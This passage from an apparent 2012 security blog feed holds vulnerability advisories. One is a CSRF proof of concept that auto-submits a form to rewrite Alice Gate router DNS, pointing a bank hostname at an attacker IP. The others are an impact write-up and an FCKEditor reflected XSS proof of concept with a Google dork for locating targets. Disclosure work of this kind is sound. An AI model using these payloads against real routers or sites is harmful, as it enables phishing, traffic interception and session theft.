&lt;span class=&quot;nt&quot;&gt;&amp;lt;INPUT&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;type=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;HIDDEN&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;name=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;button_value&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;value=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;attiva&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;INPUT&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;type=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;HIDDEN&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;name=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;strip_page_top&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;value=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;0&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;INPUT&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;type=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;HIDDEN&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;name=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;stack_set&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;value=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;(stack_set
  (0
    (path(dns/entry))
    (index(-1))
    (set
      (-1
        (ip(109.168.126.241))
        (hostname(www.mybank.com))
      )
    )
  )
)
&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/FORM&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;SCRIPT&amp;gt;&lt;/span&gt;
window.onload = function(){ document.forms[0].submit(); }
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/SCRIPT&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;Un browser che apra questa pagina automaticamente farà un submit del form aggiungendo nel path path &lt;code class=&quot;highlighter-rouge&quot;&gt;dns&lt;/code&gt; del &lt;code class=&quot;highlighter-rouge&quot;&gt;discus.conf&lt;/code&gt; il record malevolevolo, con ovvie possibilità di phishing e sottrazione delle credenziali di &lt;em&gt;www.mybank.com&lt;/em&gt;. Gli altri attacchi descritti nell’&lt;a href=&quot;http://disse.cting.org//2012/09/02/alice-gate-agpf-csrf-reconf-vulnerability/&quot;&gt;articolo introduttivo&lt;/a&gt; sono ugualmente semplici da effettuare.&lt;/p&gt;

&lt;h2 id=&quot;mitigazione&quot;&gt; Mitigazione &lt;/h2&gt;

&lt;p&gt;Ho contattato Telecom Italia un mese fa, offrendo la analisi tecnica della vulnerabilità e PoC per facilitarne lo studio. Per risolvere il problema il fix ufficiale dovrebbe:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Sanificare l’input inviato dall’utente con la variabile HTTP post, evitando la riscrittura del file di configurazione via richista HTTP&lt;/li&gt;
  &lt;li&gt;Implementando anti CSRF token per ogni form&lt;/li&gt;
  &lt;li&gt;Abilitando di default l’autenticazione alla interfaccia web&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I primi due punti non sono applicabili dall’utente poichè il CGI vulnerabile è compilato in un binario che gestisce l’interfaccia web. Il terzo fix non risolve la situazione ma limita i casi in cui l’attacco CSRF può andare a segno. Questo metodo ed altre protezioni da abilitare in attesa che venga rilasciato il fix ufficiale.&lt;/p&gt;</content><category term="advisory" /><category term="alice" /><category term="gate" /><category term="agpf" /><category term="agpwi" /><category term="post" /><category term="discus.conf" /><category term="openrg" /><category term="embedded" /><category term="telecom" /><category term="details" /><category term="sblocco" /><summary>Questo post fa parte della serie di articoli sulla vulnerabilità CSRF dei router Alice, leggi l’articolo introduttivo.</summary></entry><entry><title>Alice Gate AGPF e AGPWI: CSRF reconfiguration vulnerability</title><link href="http://disse.cting.org//2012/09/02/alice-gate-agpf-csrf-reconf-vulnerability" rel="alternate" type="text/html" title="Alice Gate AGPF e AGPWI: CSRF reconfiguration vulnerability" /><published>2012-09-02T11:56:00+00:00</published><updated>2012-09-02T11:56:00+00:00</updated><id>http://disse.cting.org//2012/09/02/alice-gate-agpf-csrf-reconf-vulnerability</id><content type="html" xml:base="http://disse.cting.org//2012/09/02/alice-gate-agpf-csrf-reconf-vulnerability">&lt;blockquote&gt;
  &lt;p&gt;Aggiornamento 12/2012: La vulnerabilità CSRF è stata mitigata abilitando la richiesta di password per accedere al pannello di amministrazione. La tecnica per sbloccare le funzionalità nascoste del proprio router rimane comunque valida.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Una buona fetta degli utenti ADSL italiani sono a rischio intercettazione di comunicazioni internet e telefoniche, a causa di una &lt;strong&gt;grave vulnerabilità&lt;/strong&gt; presente nei modelli di router Telecom ADSL Alice Gate VoIP 2 Plus Wi-Fi e ADSL2+ Wi-Fi N.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://disse.cting.org//assets/img/alice.png&quot; alt=&quot;Alice Gate Voip 2 Plus Wi-Fi and Alice ADSL2+ Wi-Fi N&quot; /&gt;&lt;/p&gt;

&lt;h1 id=&quot;impatto&quot;&gt;Impatto&lt;/h1&gt;

&lt;p&gt;Un utente Telecom Italia che visita una pagina web appositamente preparata permette a un malintenzionato di prendere il &lt;strong&gt;completo controllo&lt;/strong&gt; del router in maniera &lt;strong&gt;permanente&lt;/strong&gt;, esponendo all’attaccante esterno il traffico privato internet e voce fino a che non si effettua esplicitamente il reset delle configurazioni di fabbrica. Alcuni attacchi possibili una volta preso il controllo del router sono:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Intercettazione dei i siti visitati dall’utente&lt;/strong&gt; e redirezione verso siti copia fasulli per rubare credenziali di mail, social network, home banking, etc modificando i record del DNS.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Ascolto delle chiamate telefoniche&lt;/strong&gt;, telefoni analogici compresi, sostituendo l’indirizzo del server VoIP ufficiale con quello di uno preparato per le intercettazioni.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Instradamento di tutto il traffico verso una macchina dell’attaccante&lt;/strong&gt; allo scopo di analizzare il traffico e sottrarre dati sensibili.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Apertura dei pannelli di controllo del router verso internet&lt;/strong&gt; con il quale l’attaccante mantiene l’accesso remoto al router nel tempo, con una interfaccia web esposta verso internet e tracciata via dns dinamico.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Il numero di utenti che posseggono il router coinvolto è imponente: secondo la &lt;a href=&quot;http://2011annualreport.telecomitalia.com/attachments/RelazioneFinanziariaAnnuale-2011-GruppoTI.pdf&quot;&gt;relazione&lt;/a&gt; finanziaria annuale di Telecom Italia, gli utenti broadband sono circa 9 milioni. Sui sette modelli di router ADSL distribuiti nella storia di Alice, tre sono stati distribuiti massicciamente negli ultimi cinque anni: Alice Gate VoIP 2 plus Wi-Fi (firmware AGPF, vulnerabile), Alice Gate2 plus Wi-Fi e l’ultimo ADSL2+ Wi-Fi N (AGPWI, vulnerabile). Anche andando cauti con la stima, il numero di possessori del router vulnerabile è molto alto.&lt;/p&gt;

&lt;blockquote class=&quot;blockwarn&quot;&gt; &lt;p&gt;Lo studio sulla sicurezza dell'apparato è da intendersi a scopo didattico. L'autore non è responsabile di danni agli apparati o violazioni a sistemi informatici derivanti dall'uso delle tecniche esposte. Ricordo che l'accesso abusivo ad un sistema informatico e perseguibile secondo l'articolo 615-ter del codice penale.
&lt;/p&gt;&lt;/blockquote&gt;

&lt;h1 id=&quot;vulnerabilit&quot;&gt;vulnerabilità&lt;/h1&gt;

&lt;p&gt;La vulnerabilità risiede nel pannello di controllo del router: effettuando una particolare richiesta HTTP all’URL &lt;a href=&quot;http://192.168.1.1/admin.cgi&quot;&gt;http://192.168.1.1/admin.cgi&lt;/a&gt; è possibile riscrivere qualsiasi configurazione interna del router. Questo difetto unito alla mancanza di protezioni &lt;a href=&quot;http://it.wikipedia.org/wiki/Cross-site_request_forgery&quot;&gt;CSRF&lt;/a&gt; permette di forzare il browser dell’utente vittima che visita un sito &lt;em&gt;trappola&lt;/em&gt; a riconfigurare il proprio router in maniera automatica consegnandone il controllo al maleintenzionato.&lt;/p&gt;

&lt;p&gt;Automatizzare l’&lt;strong&gt;attacco su larga scala&lt;/strong&gt; è semplice: l’attaccante pubblica una pagina HTML che cambia il DNS per intercettare le connessioni e effettuare phishing, e espone la interfaccia web/telnet del modem ADSL verso internet mantenendo il controllo del router nel tempo con un DNS dinamico. Pubblicando il link a questa pagina in un sito molto trafficato creerebbe in poche ore una &lt;strong&gt;botnet&lt;/strong&gt; di migliaia di router sotto il controllo dell’attaccante, con conseguenze molto gravi.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Leggi l’&lt;a href=&quot;http://disse.cting.org//2012/09/02/alice-gate-agpf-csrf-reconf-vulnerability-details/&quot;&gt;articolo tecnico&lt;/a&gt; su questo difetto e su come si utilizza per personalizzare il proprio router e sbloccare le sue funzionalità nascoste.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;blockquote&gt;
  &lt;p&gt;Leggi il paragrafo dell’&lt;a href=&quot;http://disse.cting.org//2012/09/02/alice-gate-agpf-csrf-reconf-vulnerability-details/#CSRF&quot;&gt;articolo tecnico&lt;/a&gt; sulla tecnica CSRF utilizzata per prendere il controllo di un router altrui.&lt;/p&gt;
&lt;/blockquote&gt;</content><category term="advisory" /><category term="alice" /><category term="gate" /><category term="agpf" /><category term="agpwi" /><category term="csrf" /><category term="discus.conf" /><category term="openrg" /><category term="embedded" /><category term="telecom" /><category term="sblocco" /><summary>Aggiornamento 12/2012: La vulnerabilità CSRF è stata mitigata abilitando la richiesta di password per accedere al pannello di amministrazione. La tecnica per sbloccare le funzionalità nascoste del proprio router rimane comunque valida.</summary></entry><entry><title>FCKEditor reflected XSS vulnerability</title><link href="http://disse.cting.org//2012/06/22/fckeditor-reflected-xss-vulnerability" rel="alternate" type="text/html" title="FCKEditor reflected XSS vulnerability" /><published>2012-06-22T09:58:30+00:00</published><updated>2012-06-22T09:58:30+00:00</updated><id>http://disse.cting.org//2012/06/22/fckeditor-reflected-xss-vulnerability</id><content type="html" xml:base="http://disse.cting.org//2012/06/22/fckeditor-reflected-xss-vulnerability">&lt;p&gt;I recently found a reflected POST XSS on a popular web WYSIWYG editor called FCKEditor. Despite is almost end-of-life and replaced with &lt;a href=&quot;http://ckeditor.com/&quot;&gt;CKEditor&lt;/a&gt; since 2009, FCKEditor is still popular as stand-alone application as embedded in different Wordpress/Joomla/Drupal extensions.&lt;/p&gt;

&lt;p&gt;Today the 2012-06-22, Google counts more than &lt;strong&gt;1,5 billion&lt;/strong&gt; of results. A plausbile Google dork filtering out PHP sources could be&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://www.google.it/search?q=inurl%3Afck_spellerpages%2Fspellerpages%2Fserver-scripts%2F+-%22The+following+variables%22&quot;&gt;inurl:fck_spellerpages/spellerpages/server-scripts/ -“The following variables”&lt;/a&gt;&lt;/p&gt;

&lt;h2 id=&quot;vulnerability&quot;&gt;vulnerability&lt;/h2&gt;

&lt;p&gt;The reflected XSS is injected through &lt;code class=&quot;highlighter-rouge&quot;&gt;textinputs&lt;/code&gt; POST parameter array, not sanized and printed in line 27:&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;echo &quot;textinputs[$key] = decodeURIComponent(\&quot;&quot; . $val . &quot;\&quot;);\n&quot;;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;As usual, attackers can exploit the reflected XSS to execute arbitrary HTML and script code in a user’s browser session that visit the malicious page, which can be exploited to e.g. steal the cookie of the legitimate user to bypass the CMS authorization. The PoC is CRSF-like due to POST HTTP method.&lt;/p&gt;

&lt;div class=&quot;language-html highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;html&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;body&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;iframe&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;style=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;width: 1px; height: 1px; visibility: hidden&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;name=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;hidden&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&amp;lt;/iframe&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;form&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;method=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;post&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;name=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;sender&quot;&lt;/span&gt;
   &lt;span class=&quot;na&quot;&gt;action=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;http://vuln.com//fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.php&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;target=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;hidden&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
   &lt;span class=&quot;nt&quot;&gt;&amp;lt;input&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;type=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;hidden&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;name=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;textinputs[]&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;value=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&quot;);alert(&quot;THIS SITE IS XSS VULNERABLE!&quot;);&amp;lt;/script&amp;gt;&amp;lt;!--'&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;/form&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/body&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;script&amp;gt;&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;sender&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;submit&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/html&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;h2 id=&quot;cve&quot;&gt;CVE&lt;/h2&gt;

&lt;p&gt;The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name &lt;a href=&quot;http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2012-4000&quot;&gt;CVE-2012-4000&lt;/a&gt; to the vulnerability&lt;/p&gt;</content><category term="CVE-2012-4000" /><category term="advisory" /><category term="ckeditor" /><category term="csrf" /><category term="fckeditor" /><category term="pentesting" /><category term="security" /><category term="xss" /><summary>I recently found a reflected POST XSS on a popular web WYSIWYG editor called FCKEditor. Despite is almost end-of-life and replaced with CKEditor since 2009, FCKEditor is still popular as stand-alone application as embedded in different Wordpress/Joomla/Drupal extensions.</summary></entry></feed>
